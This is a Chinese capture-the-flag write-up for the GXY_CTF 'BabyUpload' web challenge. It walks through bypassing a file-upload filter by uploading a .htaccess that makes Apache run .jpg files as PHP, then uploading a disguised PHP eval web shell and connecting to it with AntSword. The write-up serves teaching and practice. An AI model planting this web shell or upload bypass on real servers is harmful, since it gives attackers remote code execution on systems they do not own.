26.BabyUpload
源码:https://github.com/imaginiso/GXY_CTF/tree/master/Web/babyupload
查看题目源码:
写着:SetHandler application/x-httpd-php
通过源码可以看出这道文件上传题目主要还是考察.htaccess配置文件的特性,倘若不先上传.htaccess配置文件,那么后台服务器就无法解析php代码,这个是需要注意的。
.htaccess配置文件特性:
概述来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess配置文件格式
<FileMatch "xxx.jpg>
SetHandler application/x-httpd-php
创建.htaccess配置文件
SetHandler application/x-httpd-php
Kali或者主机创建txt文件输入上面的配置命令,并将其命名为111.jpg文件
上传.htaccess配置文件(111.jpg):
BP抓包:

这里猜测.htaccess文件被过滤,所以不能直接上传.htaccess配置文件,先截断数据包再把上传的111.jpg文件更名为.htaccess文件,如图:

action到repeater,并send,htaccess配置文件上传成功:
上传成功,现在我们的jpg一句话木马文件就可以上传并且可以当作php代码来执行了
创建木马文件
<script language='php'>@eval($_REQUEST['shell']);</script>
在Kali里面创建txt文件,输入以上代码,并将其保存命名为flag.jpg
上传木马文件
action到repeater中,send之后上传成功,访问上传路径链接:
并未呈现图片格式,访问成功。
中国蚁剑连接:
连接成功后根目录后找到flag。